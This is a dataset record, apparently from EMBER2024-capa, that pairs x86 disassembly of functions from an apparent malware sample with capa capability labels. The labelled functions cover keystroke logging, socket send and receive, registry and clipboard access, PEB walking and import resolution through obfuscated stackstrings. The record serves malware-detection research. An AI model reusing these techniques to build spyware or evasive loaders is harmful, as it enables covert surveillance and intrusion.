joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10051211
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0xffffffff
jne 0x1005122c
call fcn.1002afb4
mov dword [ebp + 8], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x1005123e
call fcn.1002afb4
mov dword [ebp + 0xc], eax
cmp dword [ebp + 8], 0
je 0x10051262
cmp dword [ebp + 0xc], 0
je 0x10051262
mov eax, dword [ebp + 0xc]
cmp dword [ebp + 8], eax
je 0x10051262
xor eax, eax
jmp 0x10051267
mov eax, 1
test eax, eax
je 0x10051279
mov eax, 0
jmp 0x100512b0
mov dword [ebp - 4], esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_AttachThreadInput]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x100512ab
push 0x181
push 0x42430a1
push 6
call fcn.1010142e
add esp, 0xc
jmp 0x100512b0
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10056fae
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10056fd3
mov eax, 0x1010b29a
push eax
push 1
mov ebx, 0x130
call fcn.10102e60
add esp, 0x10
mov dword [ebp - 8], eax
push 1
push 4
mov eax, dword [ebp - 8]
cdq
push edx
push eax
call fcn.1001a1d9
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10057011
mov eax, 0x1010b29a
push eax
push 1
mov ebx, 0x198
call fcn.10102aa0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10057037
push ebx
call fcn.10101422
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1005704b
push ebx
call fcn.10101422
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.10008331
mov dword [ebp - 8], eax
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1005706e
mov eax, 0x1010b24e
push eax
push 1
mov ebx, 0x194
call fcn.10102400
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x100570bb
push 0x96
push 0x4242ffc
push 6
call fcn.1010142e
add esp, 0xc
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x100570d0
mov eax, 0x1010b29a
push eax
push 1
mov ebx, 0x198
call fcn.10102aa0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100570fa
push ebx
call fcn.10101422
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.10008331
mov dword [ebp - 8], eax
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1005711d
mov eax, 0x1010b24e
push eax
push 1
mov ebx, 0x194
call fcn.10102400
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x1005716a
push 0x134
push 0x4242ffc
push 6
call fcn.1010142e
add esp, 0xc
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1005717a
push ebx
call fcn.10101422
add esp, 4
mov esp, ebp
pop ebp
ret 8
Function at 0x10057180
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 1
jg 0x100571a1
mov dword [ebp + 0x10], 0x1f4
mov dword [ebp - 8], esp
push dword [ebp + 0xc]
lea eax, [ebp + 0x10]
push eax
push 0x1006
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x100571de
push 0x5b
push 0x4242fff
push 6
call fcn.1010142e
add esp, 0xc
push 0x80000301
push 0
push dword [ebp + 0xc]
push 1
mov ebx, 0x1bc
call fcn.10102410
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10057211
push ebx
call fcn.10101422
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.10008331
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10057258
push 0xfb
push 0x4242fff
push 6
call fcn.1010142e
add esp, 0xc
mov ebx, dword [ebp + 0x18]
mov dword [ebx], eax
push 0x80000301
push 0
mov ebx, dword [ebp + 0x18]
push dword [ebx]
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1005727c
mov eax, 0x1010b24e
push eax
push 2
mov ebx, 0x1a0
call fcn.10102f30
add esp, 0x1c
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x1005729a
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100572ab
push ebx
call fcn.10101422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100635e9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push pe_nt_image_headers32
push 1
mov ebx, 0x184
call fcn.10102690
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1006362e
push ebx
call fcn.10101422
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x10063663
push 0x36
push 0x4242cde
push 6
call fcn.1010142e
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x1006367f
push eax
mov ebx, eax
call fcn.100026e7
inc eax
push eax
call fcn.10101428
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10063684
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10063695
push ebx
call fcn.10101422
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x10068ba4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push dword [ebp + 0xc]
call fcn.10008331
mov dword [ebp - 4], eax
push htons
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10068bcd
mov eax, 0x1010b24e
push eax
push 1
mov ebx, 0x194
call fcn.10102400
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10068c1a
push 0x33
push 0x4243002
push 6
call fcn.1010142e
add esp, 0xc
mov esp, ebp
pop ebp
ret 8
Function at 0x100ba082
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x100ba136
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100ba012
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x100ba10f
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100ba142
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x100ba15d
test ebp, ebp
je 0x100ba15d
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x100ba165
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x100ba1a5
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x100ba201
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x100ba1fc
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100ba1e7
test dl, dl
je 0x100ba1e3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100ba1e7
add ecx, 2
add eax, 2
test dl, dl
jne 0x100ba1c7
xor eax, eax
jmp 0x100ba1ec
sbb eax, eax
or eax, 1
test eax, eax
je 0x100ba20b
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x100ba1b4
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x100ba222
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.100ba082
mov esi, eax
test esi, esi
je 0x100ba2de
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.100ba142
mov ebp, eax
test ebp, ebp
je 0x100ba2dd
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.100ba142
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x100ba2dd
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x100ba2dd
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x100ba2dc
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x100ba2c2
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x101032b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x10103319
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.10102230
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x10103810
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1010382e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x10103823
pop esi
ret

Function at 0x10103910
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x14c]
push ebp
mov ebp, dword [esp + 0x15c]
push esi
push edi
mov esi, dword [ebp]
mov dword [esp + 0x10], 0
test ebx, ebx
je 0x1010399b
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1010399b
test esi, esi
je 0x10103955
cmp esi, 0xffffffff
je 0x10103955
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp], esi
je 0x101039e1
mov eax, dword [esp + 0x160]
test eax, eax
je 0x10103984
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
je 0x1010399b
jmp 0x10103993
mov edx, dword [esp + 0x15c]
mov eax, dword [esp + 0x14]
test edx, eax
je 0x1010399b
mov dword [esp + 0x10], 1
test esi, esi
je 0x101039e1
cmp esi, 0xffffffff
je 0x101039e1
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x10103a18
mov eax, dword [esp + 0x160]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [esp + 0x14]
push eax
push esi
je 0x101039ee
call edi
test eax, eax
je 0x101039e1
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
jne 0x10103a18
lea edx, [esp + 0x14]
push edx
push esi
call edi
test eax, eax
jne 0x101039c9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x144
ret
call edi
test eax, eax
je 0x101039e1
mov ebx, dword [esp + 0x15c]
test dword [esp + 0x14], ebx
jne 0x10103a18
lea ecx, [esp + 0x14]
push ecx
push esi
call edi
test eax, eax
jne 0x101039fb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.10102230
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret
Function at 0x101047e0
Capabilities:
Get file size

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x101047ee
or eax, 0xffffffff
pop esi
ret
push esi
call fcn.10108130
add esp, 4
test eax, eax
jne 0x10104800
or eax, 0xffffffff
pop esi
ret
mov ecx, dword [esi]
or eax, 0xffffffff
cmp ecx, 1
jne 0x1010481b
mov esi, dword [esi + 4]
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
pop esi
ret
cmp ecx, 2
jne 0x10104828
mov ecx, dword [esi + 4]
call fcn.10108120
pop esi
ret

Function at 0x10104830
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
test ebx, ebx
push edi
jne 0x10104843
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
call fcn.10108130
add esp, 4
test eax, eax
jne 0x10104855
pop edi
pop esi
pop ebp
pop ebx
ret
mov edi, dword [esp + 0x24]
test edi, edi
jg 0x10104864
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx]
xor esi, esi
cmp eax, 1
jne 0x101048bb
mov ebx, dword [ebx + 4]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebp, eax
lea eax, [esp + 0x18]
push esi
push eax
push edi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1010489e
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebp
call fcn.101079f0
push ebp
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x101048fd
mov ebx, dword [ebx + 4]
lea edx, [edi + 8]
push edx
call fcn.10102230
mov esi, eax
add esp, 4
lea ecx, [esi + 8]
mov dword [esi], 1
mov dword [esi + 4], edi
mov eax, dword [ebx]
push edi
push ecx
mov ecx, ebx
call dword [eax + 0x20]
test eax, eax
jne 0x101048fa
push esi
call fcn.101022c0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10104920
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
push eax
call fcn.10108160
mov esi, dword [esp + 0x38]
mov ebp, eax
xor edx, edx
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0xc], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ebp, edx
mov dword [esp + 0x18], edx
je 0x10104a07
cmp ecx, edx
je 0x10104a07
inc ecx
push ebx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov edx, ecx
mov esi, edi
mov edi, ebx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1010499d
mov byte [esi], 0
inc esi
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x101049f5
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
mov edi, 4
push esi
push ecx
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101049ea
cmp dword [esp + 0x14], edi
jne 0x101049ea
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x20]
add esp, 4
test eax, eax
pop ebx
jne 0x10104a13
mov eax, dword [esp + 0x48]
test eax, eax
mov eax, dword [esp + 0x40]
jne 0x10104a17
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
add esp, 0x14
ret
Function at 0x10104ac0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 0x28]
sub esp, 0x18
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp eax, 0x80000301
push edi
ja 0x10104b40
je 0x10104b31
cmp eax, 0x80000101
ja 0x10104b2a
je 0x10104b31
cmp eax, reloc.WS2_32.dll_connect
je 0x10104b0d
cmp eax, 0x80000005
jne 0x10104b55
mov eax, dword [esp + 0x44]
mov dword [esp + 0xc], 3
test eax, eax
je 0x10104b9b
mov ebx, dword [eax + 4]
lea ebp, [eax + 8]
jmp 0x10104b9b
mov ebp, dword [esp + 0x44]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0xc], 1
mov ebx, ecx
inc ebx
jmp 0x10104b9b
cmp eax, 0x80000201
jne 0x10104b55
mov ebx, 4
lea ebp, [esp + 0x44]
mov dword [esp + 0xc], ebx
jmp 0x10104b9b
cmp eax, 0x80000401
je 0x10104b86
cmp eax, 0x80000501
je 0x10104b72
cmp eax, 0x80000601
je 0x10104b5e
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
fld qword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
call sub.MSVCRT.dll__ftol
jmp 0x10104b93
fld dword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
call sub.MSVCRT.dll__ftol
jmp 0x10104b93
mov eax, dword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], eax
lea ebp, [esp + 0x10]
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.10108160
mov edi, dword [esp + 0x3c]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x20], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], 0
test edx, edx
je 0x10104c76
test ecx, ecx
je 0x10104c76
inc ecx
push esi
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [esp + 0x40]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x2c], edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10104c18
mov byte [esi], 0
inc esi
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10104c6c
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push eax
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10104c61
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x10104c90
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0x10]
xor ebp, ebp
test esi, esi
je 0x10104d13
push ebp
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10104d13
push ebx
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10104d06
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ebp, 1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
ret
mov eax, ebp
pop esi
pop ebp
ret

Function at 0x10104d20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push edi
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10104d70
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x10104d65
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
call fcn.101074b0
add esp, 8
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, edi
pop esi
pop edi
ret
mov eax, edi
pop edi
ret

Function at 0x10104e90
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x10104f22
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x10104f14
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x10104f0c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x10104ed5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret